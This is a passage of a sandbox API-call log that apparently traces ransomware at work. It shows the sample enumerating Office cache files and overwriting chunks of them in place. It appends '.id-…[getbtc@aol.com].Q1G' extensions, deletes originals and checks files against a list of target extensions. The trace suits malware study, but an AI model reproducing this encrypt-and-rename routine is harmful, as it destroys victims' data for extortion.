hTemplateFile=0x0) returned 0x1fc [0051.873] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=7378792) returned 1 [0051.873] CloseHandle (hObject=0x1fc) returned 1 [0051.873] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0051.873] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.873] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0051.874] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0051.874] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0x0) returned 1 [0051.874] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0051.874] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.881] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0051.881] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.884] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.884] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0051.884] ReadFile (in: hFile=0x1fc, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.162] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.162] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x34dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0052.176] SetEndOfFile (hFile=0x1fc) returned 1 [0052.176] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa56f0 [0052.242] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.242] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.243] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.243] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.245] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.245] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.247] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa56f0 | out: hHeap=0x510000) returned 1 [0052.247] CloseHandle (hObject=0x1fc) returned 1 [0052.247] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0052.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.247] lstrlenW (lpString=".doc") returned 4 [0052.247] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.247] lstrlenW (lpString=".docx") returned 5 [0052.247] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0052.247] lstrlenW (lpString=".pdf") returned 4 [0052.247] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.247] lstrlenW (lpString=".xls") returned 4 [0052.247] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.247] lstrlenW (lpString=".xlsx") returned 5 [0052.247] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0052.247] lstrlenW (lpString=".ppt") returned 4 [0052.247] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.247] lstrlenW (lpString=".zip") returned 4 [0052.247] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.248] lstrlenW (lpString=".rar") returned 4 [0052.248] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.248] lstrlenW (lpString=".bz2") returned 4 [0052.248] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.248] lstrlenW (lpString=".7z") returned 3 [0052.248] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.248] lstrlenW (lpString=".dbf") returned 4 [0052.248] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.248] lstrlenW (lpString=".1cd") returned 4 [0052.248] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.248] lstrlenW (lpString=".jpg") returned 4 [0052.248] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.248] lstrlenW (lpString=".doc") returned 4 [0052.248] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.248] lstrlenW (lpString=".docx") returned 5 [0052.248] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0052.248] lstrlenW (lpString=".pdf") returned 4 [0052.248] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.248] lstrlenW (lpString=".xls") returned 4 [0052.248] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.248] lstrlenW (lpString=".xlsx") returned 5 [0052.248] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0052.248] lstrlenW (lpString=".ppt") returned 4 [0052.248] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.248] lstrlenW (lpString=".zip") returned 4 [0052.248] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.248] lstrlenW (lpString=".rar") returned 4 [0052.248] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.249] lstrlenW (lpString=".bz2") returned 4 [0052.249] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.249] lstrlenW (lpString=".7z") returned 3 [0052.249] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.249] lstrlenW (lpString=".dbf") returned 4 [0052.249] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.249] lstrlenW (lpString=".1cd") returned 4 [0052.249] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.249] lstrlenW (lpString=".jpg") returned 4 [0052.249] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.249] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0052.249] lstrlenW (lpString="PidGenX.dll") returned 11 [0052.249] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0052.249] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=1463568) returned 1 [0052.249] CloseHandle (hObject=0x1fc) returned 1 [0052.249] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0052.249] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.250] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0052.250] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.250] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.250] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0052.250] GetLastError () returned 0x0 [0052.250] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0052.273] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0052.458] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x65520, lpOverlapped=0x0) returned 1 [0052.471] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0052.482] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.482] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.482] SetEndOfFile (hFile=0x1ec) returned 1 [0052.482] CloseHandle (hObject=0x1ec) returned 1 [0052.482] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.482] SetEndOfFile (hFile=0x1fc) returned 1 [0052.486] CloseHandle (hObject=0x1fc) returned 1 [0052.486] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0052.486] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0052.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.817] lstrlenW (lpString=".doc") returned 4 [0052.817] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.817] lstrlenW (lpString=".docx") returned 5 [0052.817] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0052.817] lstrlenW (lpString=".pdf") returned 4 [0052.817] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.817] lstrlenW (lpString=".xls") returned 4 [0052.817] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.817] lstrlenW (lpString=".xlsx") returned 5 [0052.817] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0052.817] lstrlenW (lpString=".ppt") returned 4 [0052.817] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.817] lstrlenW (lpString=".zip") returned 4 [0052.817] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.817] lstrlenW (lpString=".rar") returned 4 [0052.817] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.817] lstrlenW (lpString=".bz2") returned 4 [0052.817] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.817] lstrlenW (lpString=".7z") returned 3 [0052.817] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.817] lstrlenW (lpString=".dbf") returned 4 [0052.817] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.817] lstrlenW (lpString=".1cd") returned 4 [0052.817] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.817] lstrlenW (lpString=".jpg") returned 4 [0052.817] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.817] lstrlenW (lpString=".doc") returned 4 [0052.818] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.818] lstrlenW (lpString=".docx") returned 5 [0052.818] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0052.818] lstrlenW (lpString=".pdf") returned 4 [0052.818] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.818] lstrlenW (lpString=".xls") returned 4 [0052.818] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.818] lstrlenW (lpString=".xlsx") returned 5 [0052.818] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0052.818] lstrlenW (lpString=".ppt") returned 4 [0052.818] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.818] lstrlenW (lpString=".zip") returned 4 [0052.818] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.818] lstrlenW (lpString=".rar") returned 4 [0052.818] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.818] lstrlenW (lpString=".bz2") returned 4 [0052.818] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.818] lstrlenW (lpString=".7z") returned 3 [0052.818] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.818] lstrlenW (lpString=".dbf") returned 4 [0052.818] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.818] lstrlenW (lpString=".1cd") returned 4 [0052.818] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.818] lstrlenW (lpString=".jpg") returned 4 [0052.818] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.818] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0052.818] lstrlenW (lpString="VisiorWW.msi") returned 12 [0052.818] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.108] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=12060672) returned 1 [0054.108] CloseHandle (hObject=0x198) returned 1 [0054.108] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi")) returned 0x2020 [0054.108] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.108] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0054.109] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.109] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0x0) returned 1 [0054.109] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0054.109] ReadFile (in: hFile=0x198, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.114] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0054.114] ReadFile (in: hFile=0x198, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.124] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0054.124] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0054.124] ReadFile (in: hFile=0x198, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.139] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.139] WriteFile (in: hFile=0x198, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x34dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0054.437] SetEndOfFile (hFile=0x198) returned 1 [0054.437] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f60010 [0054.437] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0054.437] WriteFile (in: hFile=0x198, lpBuffer=0x3f60010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f60010*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.438] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0054.438] WriteFile (in: hFile=0x198, lpBuffer=0x3f60010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f60010*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.444] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0054.444] WriteFile (in: hFile=0x198, lpBuffer=0x3f60010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f60010*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.445] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f60010 | out: hHeap=0x510000) returned 1 [0054.446] CloseHandle (hObject=0x198) returned 1 [0054.446] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0054.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0054.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0054.446] lstrlenW (lpString=".doc") returned 4 [0054.446] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.446] lstrlenW (lpString=".docx") returned 5 [0054.446] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0054.446] lstrlenW (lpString=".pdf") returned 4 [0054.446] 